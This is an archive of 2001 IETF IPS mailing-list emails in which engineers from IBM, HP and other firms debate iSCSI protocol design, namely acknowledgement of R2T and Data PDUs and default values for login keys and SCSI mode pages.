owner-ips@ece.cmu.edu Fri Sep 21 12:52:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01254 for ; Fri, 21 Sep 2001 12:52:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LFl7U21763 for ips-outgoing; Fri, 21 Sep 2001 11:47:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LFl4P21752 for ; Fri, 21 Sep 2001 11:47:04 -0400 (EDT) Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Sep 2001 10:46:55 -0500 Message-ID: <3C7122FAF06DD5118ED6005004733648263113@esply01.cnt.com> From: Michael Schoberg To: "'ips@ece.cmu.edu'" Subject: RE: iSCSI: SNACK R2T/Data Date: Fri, 21 Sep 2001 10:43:47 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I can see the point of not involving a new ACK request for [DATA] & [R2T]. However, it would be nice to have something like [CmdSN, ExpStatSN][StatSN, ExpCmdSN] for [DATA] & [R2T]. As it stands now, only when the [SCSI Response] is acknowledged for the request that originated the [R2T] & [Data] messages can you assume [R2T] & [Data] was successfully processed. This means you have hold onto a lot of associations in that updating ExpStatSN will ACK more than just status messages. The nice thing about the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] mechanism was that it allowed for separate processing queues; status messages can be unaware of the command that originated them. This disassociation allowed for a simpler implementation (aka hardware assist). One possibility would be to split the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] into 16 bit fields rather than 32. Unless there's a genuine feeling that more than 65K requests could be outstanding within session, I don't see a problem. The extra 32 bits freed up could be used for a Data/R2T_SN ACK and would allow a separate queue independent of [CmdSN, ExpStatSN][StatSN, ExpCmdSN]. Since each queue doesn't have to maintain state knowledge of the other, it allows for simpler design. Just and idea. : -----Original Message----- : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : Sent: Friday, September 21, 2001 9:41 AM : To: ips@ece.cmu.edu : Subject: Re: iSCSI: SNACK R2T/Data : : : : Santosh, : : None of your arguments makes much sense. : The ACK (a third form of SNACK) can be done at explicit : boundaries and only : by initiators : supporting the within command class. For most of the : initiator it will : require 0 additional resources as they either : don't do they recovery, or the input data is short (the ack : is not needed : at the end as the status ack acks the data too). : For the ones that have long exchanges (tape and 3rd party) it is a big : help. : : But you did not fail (again) to make your point. : : Julo : : : : : Santosh Rao : : cc: : : Sent by: Subject: Re: : iSCSI: SNACK R2T/Data : owner-ips@ece. : : cmu.edu : : : : : : 20-09-01 18:54 : : Please respond : : to Santosh Rao : : : : : : : : : : Matthew, : : We have gone through this thread of discussion regarding : DataSNa long time : back on : ips and the consensus has been that I/O transfer sizes are not large : enough to : justify OUT_OF_BAND acknowledgement of data. [achieved by having the : initiator : generate NOP-OUTs in response to received data pdu's to send : a DataSN ack.] : : The primary dis-advantage with that scheme was that the data : ack's were : being : generated out-of-band, and therefore, implied extra cost in terms of : initiator : resources for each I/O, as well as increased wire traffic per I/O, : performance : penalty, etc. : : I am opposed to the draft requiring initiators to send : out-of-band ack's to : data : pdu's through the use of initiator generated NOP-OUT pdus. This is a : performance : penalty, a resource overhead, and not really justified in : most I/O traffic : due to : the avg. data xfer sizes. : : Regards, : Santosh : : : Julian Satran wrote: : : > Matthew, : > : > I am also in favor of such a mechanism. It is easy to : implement (another : > form of SNACK) and we have already built-in a mechanism by which an : inbound : > stream can be marked for acking (the inbound sequence : separator F bit). : > It can also be specified as mandated only if the : within-command recovery : > class is present. : > : > However I am reluctant to open again this issue except if : there are more : > supporters. Data ACKs where hastily dropped at the interim : meeting in : > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh : Rao as being : very : > vocal against them (arguing complexity) and carrying the : room with them. : > : > Julo : > : > : > "BURBRIDGE,MATTH : > EW To: Julian : Satran/Haifa/IBM@IBMIL, : > (HP-UnitedKingdo ips@ece.cmu.edu : > m,ex2)" cc: : > ge@hp.com> : > : > 19-09-01 17:25 : > Please respond : > to : > "BURBRIDGE,MATTH : > EW : > (HP-UnitedKingdo : > m,ex2)" : > : > : > : > I am very much in favour of having a positive ACK mechanism : to control : > buffer resources at the target. If there is a very large : transfer (e.g. : 1 : > Mb) then the sender can release buffer space once it knows that the : > receiver : > has received the data. It is worth pointing out that this : mechanism is : for : > buffer control and is not for flow control which, as we all know, is : > handled : > by TCP. : > : > Cheers : > : > Matthew Burbridge : > Senior Development Engineer : > NIS-Bristol : > Hewlett Packard : > Telnet: 312 7010 : > E-mail: matthewb@bri.hp.com : > : > -----Original Message----- : > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : > Sent: Wednesday, September 19, 2001 6:28 AM : > To: ips@ece.cmu.edu : > Subject: Re: iSCSI: SNACK R2T/Data : > : > There is no ACK mechanism. The group wisdom was that there : is no need for : > one. : > Incoming data and R2Ts are not acked (a mechanism that did : that existed : and : > was based on NOP-Out). : > : > Julo : > : > Michael Schoberg on 18-09-2001 19:09:51 : > : > Please respond to Michael Schoberg : > : > To: "'ips@ece.cmu.edu'" , Julian : Satran/Haifa/IBM@IBMIL : > cc: : > Subject: iSCSI: SNACK R2T/Data : > : > Old subject, but I couldn't find any discussion on this: : > : > When does the target know it no longer needs to hold R2T & : Data PDUs? : > StatSN responses are acknowledged through the ExpStatSN : field received in : > future I->T requests. What's the acknowledgement method : for R2T & Data : > PDUs? Is it tied to the original request and acknowledged : through the : > ExpStatSN acknowledgment of the request's response? : > : > Thanks. : : - santoshr.vcf : : : From owner-ips@ece.cmu.edu Fri Sep 21 13:30:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02404 for ; Fri, 21 Sep 2001 13:30:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LGmBr25702 for ips-outgoing; Fri, 21 Sep 2001 12:48:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LGm8P25697 for ; Fri, 21 Sep 2001 12:48:08 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id SAA87682 for ; Fri, 21 Sep 2001 18:48:02 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8LGloS176564 for ; Fri, 21 Sep 2001 18:47:50 +0200 Subject: RE: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 21 Sep 2001 19:49:41 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 21/09/2001 19:47:50 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Separation of parameters was made on a (very good) sugestion made by Robert Snively - to keep SCSI affecting values (SCSI buffer sizes etc.) in mode pages and iSCSI related in key=value. Julo "Binford, Charles" To: IPS Reflector Subject: RE: iscsi : default iscsi mode Sent by: page settings. owner-ips@ece. cmu.edu 21-09-01 16:54 Please respond to "Binford, Charles" Santosh, I fully agree with the intent of your comments. One small problem, however, is you argue for FirstBurstSize = 0. Based on your other comments I believe you are saying first burst should be disabled. SPC-2 (and I see nothing in iSCSI to change this) defines firstBurstSize of 0 to mean "no limit". I believe that is exactly the opposite of what your are arguing for. The mode page field of firstFirstSize does not have or need the concept of zero blocks allowed because the feature is is enabled / disabled via other methods; process login parameters in FCP, initialR2T and ImmediateData text parameters. So, we have the problem of how does a host that wants to use immediate or unsolicited data know how much he can send. Options I see are: - define a default value for the mode page (current method in iSCSI spec). As I argued in previous posting, I believe this breaks basic mode page concepts of SCSI. - force the host to issue a mode sense before the first command with Data-Out. Not desirable, as Santosh argued in another email. - specify the amount of data the host send before the R2T during login as a text parameter What I prefer. If we go with the last choice, then one has the question of what to do with firstBurstSize in the mode page. Two options come to mind: - reflect the login specified value in firstburstsize during mode sense. Memory says this is how it used to be? - do nothing with it. Let iSCSI say that parameter in the mode page has no meaning for the iSCSI protocol. Move the "firstBurstSize" concept to the iSCSI login/text parameters and let it stay there, don't try to tie it in to the mode pagan at all. (my preferred choice) Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 20, 2001 6:44 PM To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. All, I think we need to discuss the 2 issues of login key defaults & mode page defaults seperately : 1) Defaults on login keys : =================== I am in favor of defining conservative defaults. Those initiators needing additional features should be prepared to do the additional work of negotiating those keys. It should'nt be the other way around. Thus, default settings should be : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" I'd like to propose one more change that the LogoutLoginMinTime & LogoutLoginMaxTime login keys be removed from the login keys. This is because these key values are only relevant for an initiator re-login following a target originated logout or connection drop (signalled through an async message). The async message does contain these values and thus, it provides no additional value to negotiate these during login. Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most likely properties of the target device (how long array "xyz" goes out to lunch during certain infamous conditions) as opposed to a value that can be negotiated on a per-initiator basis. 2) Defaults on iscsi mode pages : ======================== Typically, no protocol defaults are specified for mode page settings. Initiators should be able to function correctly without having to do either mode select or mode sense. Any initiator that needs advanced settings should be prepared to do the extra work of issuing mode sense/select to enable these features. It should NOT be the other way around. (i.e. simple initiators should NOT have to first issue a mode select in order to ensure proper operation of their sessions). If the draft does wish to profile a set of recommended defaults for the iscsi, these should be conservative, where they affect the operation of those initiators that do not wish to perform mode select. In particular, the following defaults are required, if it is decided to recommend a profile of default mode page settings : Disconnect-Reconnect Mode Page -------------------------- * EMDP = 0 * MaximumBurstSize = 512 units (as it currently defined. Targets can request less data in its R2T and send shorter data-in sequences, if mode select is not used by initiators to reduce this value.) * FirstBurstSize = 0 The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use solicited data MUST first perform mode sense/select operations to query/set these values. The above default setting of 128 is in-appropriate since : a) it can cause erroneous behaviour for those initiators that do not perform mode select to explicitly turn it off, since targets for which un-solicited data is enabled but not used may reject/abort the I/O. b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is allowed for every logged-in initiator and they have no control over turning this off, since mode select is an initiator-driven operation. Closing the command window causes performance drops and is not a very satisfactory solution to this problem. Logical Unit Control Mode Page ======================== This mode page definition can be removed from the iscsi draft since it governs per-LUN state information and LUN state is the realm of the SCSI ULP. In particular, it is the SCSI ULP that decides whether to enable/disable CRN, since CRN is generated by the SCSI ULP. Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level & not at a SCSI ULP mode page such as the Control Mode Page. (??). Could anybody comment on why CRN (a ULP feature) needs to be enabled in an iscsi protocol mode page ? Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in FCP specific mode pages, since early revisions of FCP did'nt specify the CRN field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was required to be queried/set using mode sense/select, prior to using CRN. Since iscsi supports CRN in its scsi command pdu from its initial rev, I don't see why "Enable CRN" is needed to be done at the iscsi protocol level. (?). Regards, Santosh "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > I vote for making the exchange of some text parameters MANDATORY, with no > defaults. > > Marj > > > -----Original Message----- > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > Sent: Thursday, September 20, 2001 10:48 AM > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > It is true that default mode settings for Mode Pages > > are usually arranged between buyer and vendor for > > maximum convenience in the buyer's systems. It is > > generally true that any setting of a Mode Page will > > allow the protocol to operate correctly, except a few, > > notably the first burst size parameter if > > ImmediateData is set to yes. > > > > On the other hand, some of the iSCSI text keyed > > parameters MUST be known before the protocol will > > operate correctly. ImmediateData is certainly > > one of those. As a result, you have two choices: > > > > a) Make the negotiation of all such parameters > > MANDATORY during the login and after any > > reset that may change them, or; > > > > b) Define a default state that will be guaranteed > > unless and until the parameter has been explicitly > > changed. > > > > Your choice. > > > > Bob > > > > > -----Original Message----- > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > [mailto:sbhagat@tripace.com] > > > Sent: Thursday, September 20, 2001 6:59 AM > > > To: 'Santosh Rao'; IPS Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > Santosh, > > > > > > Where did you find these SCSI Mode page settings? At least I > > > could not find > > > it in SAM-2 document? The mode select command is available in > > > SPI documents > > > but they are meant for particular SCSI device and not for > > > iSCSI device? > > > > > > Be it whatever the case I would like to ask why the default value of > > > MaximumBurstSize is 512 units and why is the default value of > > > FirstBurstSize > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > revisions so setting the default value of FirstBurstSize to > > > 128 units means > > > 65536 bytes or 64K Bytes and similarly the value of > > > Maximumburstsize is 256K > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > Sanjeev > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, September 20, 2001 2:04 AM > > > To: IPS Reflector > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > All, > > > > > > Speaking on the subject of default settings, some questions > > on recent > > > changes to the iscsi mode select pages...... > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > out default > > > values for the iscsi mode pages. Per my understanding, there are no > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > features and the default settings are that these features are > > > turned off > > > unless a mode select is explicitly used to enable them. > > > > > > However, the iscsi mode pages seems to be using the opposite > > > policy and > > > is advertising default settings for mode pages, that too, > > > agreesive ones > > > at that! IOW, an initiator implemenation has to explicitly > > > issue a mode > > > select to disable/turn_off features rather than issue a > > mode select to > > > turn them on. > > > > > > Here's a few examples : > > > > > > * default MaximumBurstSize : 512 units > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > by default > > > !) > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > solicited > > > data, unless they explicitly turn it off using mode > > > select, since, > > > not > > > sending solicited data when it has been negotiated > > > implies a target > > > may > > > abort the I/O. > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > default settings > > > be advertised for any iscsi mode > > > pages. i.e. all defaults are conservative (set to 0), unless > > > explicitly > > > turned on thru a mode select. > > > > > > Comments ? > > > > > > Regards, > > > Santosh > > > > > > "Mallikarjun C." wrote: > > > > > > > Matthew, > > > > > > > > I completely agree that the default should be "no"! I > > pointed this > > > > out sometime ago myself. Apart from what you point out, > > the default > > > > setting for "ImmediateData" seems to be at variance with the > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > Julian, could you please consider this request? > > > > > > > > Regards. > > > > -- > > > > Mallikarjun > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > Julian, > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > negotiation if > > > > > the two sides differ. I presume that since the default is "yes", > > > then only > > > > > if both sides agree to "no" is immediate data turned > > off. Please > > > can this > > > > > be stated. > > > > > > > > > > Additionally, I feel that the default value for > > > ImmediateData should > > > be > > > > > "no". > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > Presumable > > > the > > > > > minimum is selected. > > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 21 13:32:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02468 for ; Fri, 21 Sep 2001 13:32:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LGck325006 for ips-outgoing; Fri, 21 Sep 2001 12:38:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LGchP25000 for ; Fri, 21 Sep 2001 12:38:44 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id SAA35452 for ; Fri, 21 Sep 2001 18:38:37 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8LGcRY165094 for ; Fri, 21 Sep 2001 18:38:27 +0200 Subject: RE: iSCSI: SNACK R2T/Data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 21 Sep 2001 19:39:26 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 21/09/2001 19:38:27 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk It does not have to involve a net type but it must be a specific request (like SNACK) as there might be no output traffic at the time. The overhead involved is minor (as it can be done only once per sequence and be cumulative). Julo Michael Schoberg g@cnt.com> cc: Sent by: Subject: RE: iSCSI: SNACK R2T/Data owner-ips@ece.cm u.edu 21-09-01 18:43 Please respond to Michael Schoberg I can see the point of not involving a new ACK request for [DATA] & [R2T]. However, it would be nice to have something like [CmdSN, ExpStatSN][StatSN, ExpCmdSN] for [DATA] & [R2T]. As it stands now, only when the [SCSI Response] is acknowledged for the request that originated the [R2T] & [Data] messages can you assume [R2T] & [Data] was successfully processed. This means you have hold onto a lot of associations in that updating ExpStatSN will ACK more than just status messages. The nice thing about the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] mechanism was that it allowed for separate processing queues; status messages can be unaware of the command that originated them. This disassociation allowed for a simpler implementation (aka hardware assist). One possibility would be to split the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] into 16 bit fields rather than 32. Unless there's a genuine feeling that more than 65K requests could be outstanding within session, I don't see a problem. The extra 32 bits freed up could be used for a Data/R2T_SN ACK and would allow a separate queue independent of [CmdSN, ExpStatSN][StatSN, ExpCmdSN]. Since each queue doesn't have to maintain state knowledge of the other, it allows for simpler design. Just and idea. : -----Original Message----- : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : Sent: Friday, September 21, 2001 9:41 AM : To: ips@ece.cmu.edu : Subject: Re: iSCSI: SNACK R2T/Data : : : : Santosh, : : None of your arguments makes much sense. : The ACK (a third form of SNACK) can be done at explicit : boundaries and only : by initiators : supporting the within command class. For most of the : initiator it will : require 0 additional resources as they either : don't do they recovery, or the input data is short (the ack : is not needed : at the end as the status ack acks the data too). : For the ones that have long exchanges (tape and 3rd party) it is a big : help. : : But you did not fail (again) to make your point. : : Julo : : : : : Santosh Rao : : cc: : : Sent by: Subject: Re: : iSCSI: SNACK R2T/Data : owner-ips@ece. : : cmu.edu : : : : : : 20-09-01 18:54 : : Please respond : : to Santosh Rao : : : : : : : : : : Matthew, : : We have gone through this thread of discussion regarding : DataSNa long time : back on : ips and the consensus has been that I/O transfer sizes are not large : enough to : justify OUT_OF_BAND acknowledgement of data. [achieved by having the : initiator : generate NOP-OUTs in response to received data pdu's to send : a DataSN ack.] : : The primary dis-advantage with that scheme was that the data : ack's were : being : generated out-of-band, and therefore, implied extra cost in terms of : initiator : resources for each I/O, as well as increased wire traffic per I/O, : performance : penalty, etc. : : I am opposed to the draft requiring initiators to send : out-of-band ack's to : data : pdu's through the use of initiator generated NOP-OUT pdus. This is a : performance : penalty, a resource overhead, and not really justified in : most I/O traffic : due to : the avg. data xfer sizes. : : Regards, : Santosh : : : Julian Satran wrote: : : > Matthew, : > : > I am also in favor of such a mechanism. It is easy to : implement (another : > form of SNACK) and we have already built-in a mechanism by which an : inbound : > stream can be marked for acking (the inbound sequence : separator F bit). : > It can also be specified as mandated only if the : within-command recovery : > class is present. : > : > However I am reluctant to open again this issue except if : there are more : > supporters. Data ACKs where hastily dropped at the interim : meeting in : > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh : Rao as being : very : > vocal against them (arguing complexity) and carrying the : room with them. : > : > Julo : > : > : > "BURBRIDGE,MATTH : > EW To: Julian : Satran/Haifa/IBM@IBMIL, : > (HP-UnitedKingdo ips@ece.cmu.edu : > m,ex2)" cc: : > ge@hp.com> : > : > 19-09-01 17:25 : > Please respond : > to : > "BURBRIDGE,MATTH : > EW : > (HP-UnitedKingdo : > m,ex2)" : > : > : > : > I am very much in favour of having a positive ACK mechanism : to control : > buffer resources at the target. If there is a very large : transfer (e.g. : 1 : > Mb) then the sender can release buffer space once it knows that the : > receiver : > has received the data. It is worth pointing out that this : mechanism is : for : > buffer control and is not for flow control which, as we all know, is : > handled : > by TCP. : > : > Cheers : > : > Matthew Burbridge : > Senior Development Engineer : > NIS-Bristol : > Hewlett Packard : > Telnet: 312 7010 : > E-mail: matthewb@bri.hp.com : > : > -----Original Message----- : > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : > Sent: Wednesday, September 19, 2001 6:28 AM : > To: ips@ece.cmu.edu : > Subject: Re: iSCSI: SNACK R2T/Data : > : > There is no ACK mechanism. The group wisdom was that there : is no need for : > one. : > Incoming data and R2Ts are not acked (a mechanism that did : that existed : and : > was based on NOP-Out). : > : > Julo : > : > Michael Schoberg on 18-09-2001 19:09:51 : > : > Please respond to Michael Schoberg : > : > To: "'ips@ece.cmu.edu'" , Julian : Satran/Haifa/IBM@IBMIL : > cc: : > Subject: iSCSI: SNACK R2T/Data : > : > Old subject, but I couldn't find any discussion on this: : > : > When does the target know it no longer needs to hold R2T & : Data PDUs? : > StatSN responses are acknowledged through the ExpStatSN : field received in : > future I->T requests. What's the acknowledgement method : for R2T & Data : > PDUs? Is it tied to the original request and acknowledged : through the : > ExpStatSN acknowledgment of the request's response? : > : > Thanks. : : - santoshr.vcf : : : From owner-ips@ece.cmu.edu Fri Sep 21 13:33:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02499 for ; Fri, 21 Sep 2001 13:33:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LGKXc23857 for ips-outgoing; Fri, 21 Sep 2001 12:20:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LGKWP23853 for ; Fri, 21 Sep 2001 12:20:32 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id 50507843 for ; Fri, 21 Sep 2001 09:20:31 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA14558; Fri, 21 Sep 2001 09:20:26 -0700 (PDT) Message-ID: <3BAB6A4B.47404757@cup.hp.com> Date: Fri, 21 Sep 2001 09:26:52 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: Re: iscsi : default iscsi mode page settings. References: Content-Type: multipart/mixed; boundary="------------B78D9D77070CBFB27BAB69B6" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------B78D9D77070CBFB27BAB69B6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Charles, "Binford, Charles" wrote: > Santosh, I fully agree with the intent of your comments. One small > problem, however, is you argue for FirstBurstSize = 0. Based on your other > comments I believe you are saying first burst should be disabled. SPC-2 > (and I see nothing in iSCSI to change this) defines firstBurstSize of 0 to > mean "no limit". You raise a good point here. Note that the iscsi definition of FirstBurstSize in its disconnect-reconnect mode page differs from SPC-2 definition in that it is silent about the semantics of a 0 value for the FirstBurstSize. Perhaps, Julian can comment on whether this was intentional to indicate that 0 implies no buffer available, or was an omission, in which case the wording needs to be fixed. > I believe that is exactly the opposite of what your are > arguing for. The mode page field of firstFirstSize does not have or need > the concept of zero blocks allowed because the feature is is enabled / > disabled via other methods; process login parameters in FCP, initialR2T and > ImmediateData text parameters. > > So, we have the problem of how does a host that wants to use immediate or > unsolicited data know how much he can send. Agreed. > Options I see are: > - define a default value for the mode page (current method in iSCSI spec). > As I argued in previous posting, I believe this breaks basic mode page > concepts of SCSI. > > - force the host to issue a mode sense before the first command with > Data-Out. > Not desirable, as Santosh argued in another email. > > - specify the amount of data the host send before the R2T during login as a > text parameter > What I prefer. I am in favor of this technique as well. As I have argued in the past, dependence on the mode sense/select for iscsi session parameters is not a good idea for several reasons : * Mode Sense/Select implementation may be a shared mode page implementation and this can cause strange side effects on initiators when other initiators establish sessions with that target port and issue mode select. It can result in mode select wars between initiators if they are attempting to use different settings and are concurrently operating with the same target port. * Mode Sense/Select for setting session parameters is not architecturally as clean as setting these parameters through login keys, since login keys are an iscsi in-band technique, applied on a per session basis and only affect the specified initiator & target port in that I-T nexus. * Usage of mode sense followed by mode select causes an increase in I/O scan times since this implies 2 extra scsi commands per session establishment. Compare this with setting these parameters through the use of login keys, which is done during login phase, has no side effects of affecting other initiators and is a faster and more optimal method. * Negotiating all session parameters through login keys allows initiator implementations to be simpler since they can avoid having SCSI command set code in the iscsi initiator drivers. For all of the above reasons, I am very much in favor of using login keys for negotiating session parameters, rather than dependence on mode select/sense. If we go with the last choice, then one has the question of what to do with firstBurstSize in the mode page. Two options come to mind: - reflect the login specified value in firstburstsize during mode sense. Memory says this is how it used to be? > - do nothing with it. Let iSCSI say that parameter in the mode page has no > meaning for the iSCSI protocol. Move the "firstBurstSize" concept to the > iSCSI login/text parameters and let it stay there, don't try to tie it in t > the mode pagan at all. (my preferred choice) This is my preferred choice as well. Going with these choices will keep initiator implementations simpler, optimize session establishment time [and thereby, I/O scan time for initiators], avoid mode select wars and other side effects of shared mode pages on iscsi initiator drivers. I would like to request folks to re-consider the use of mode sense/select for setting session parameters given the above listed reasons. My preference is to only depend on iscsi login keys and state that iscsi has no meaning for the disconnect-reconnect mode page. Regarding the "Enable CRN" issue, I will reply in a separate mail. Thanks, Santosh Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 20, 2001 6:44 PM To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. All, I think we need to discuss the 2 issues of login key defaults & mode page defaults seperately : 1) Defaults on login keys : =================== I am in favor of defining conservative defaults. Those initiators needing additional features should be prepared to do the additional work of negotiating those keys. It should'nt be the other way around. Thus, default settings should be : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" I'd like to propose one more change that the LogoutLoginMinTime & LogoutLoginMaxTime login keys be removed from the login keys. This is because these key values are only relevant for an initiator re-login following a target originated logout or connection drop (signalled through an async message). The async message does contain these values and thus, it provides no additional value to negotiate these during login. Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most likely properties of the target device (how long array "xyz" goes out to lunch during certain infamous conditions) as opposed to a value that can be negotiated on a per-initiator basis. 2) Defaults on iscsi mode pages : ======================== Typically, no protocol defaults are specified for mode page settings. Initiators should be able to function correctly without having to do either mode select or mode sense. Any initiator that needs advanced settings should be prepared to do the extra work of issuing mode sense/select to enable these features. It should NOT be the other way around. (i.e. simple initiators should NOT have to first issue a mode select in order to ensure proper operation of their sessions). If the draft does wish to profile a set of recommended defaults for the iscsi, these should be conservative, where they affect the operation of those initiators that do not wish to perform mode select. In particular, the following defaults are required, if it is decided to recommend a profile of default mode page settings : Disconnect-Reconnect Mode Page -------------------------- * EMDP = 0 * MaximumBurstSize = 512 units (as it currently defined. Targets can request less data in its R2T and send shorter data-in sequences, if mode select is not used by initiators to reduce this value.) * FirstBurstSize = 0 The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use solicited data MUST first perform mode sense/select operations to query/set these values. The above default setting of 128 is in-appropriate since : a) it can cause erroneous behaviour for those initiators that do not perform mode select to explicitly turn it off, since targets for which un-solicited data is enabled but not used may reject/abort the I/O. b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is allowed for every logged-in initiator and they have no control over turning this off, since mode select is an initiator-driven operation. Closing the command window causes performance drops and is not a very satisfactory solution to this problem. 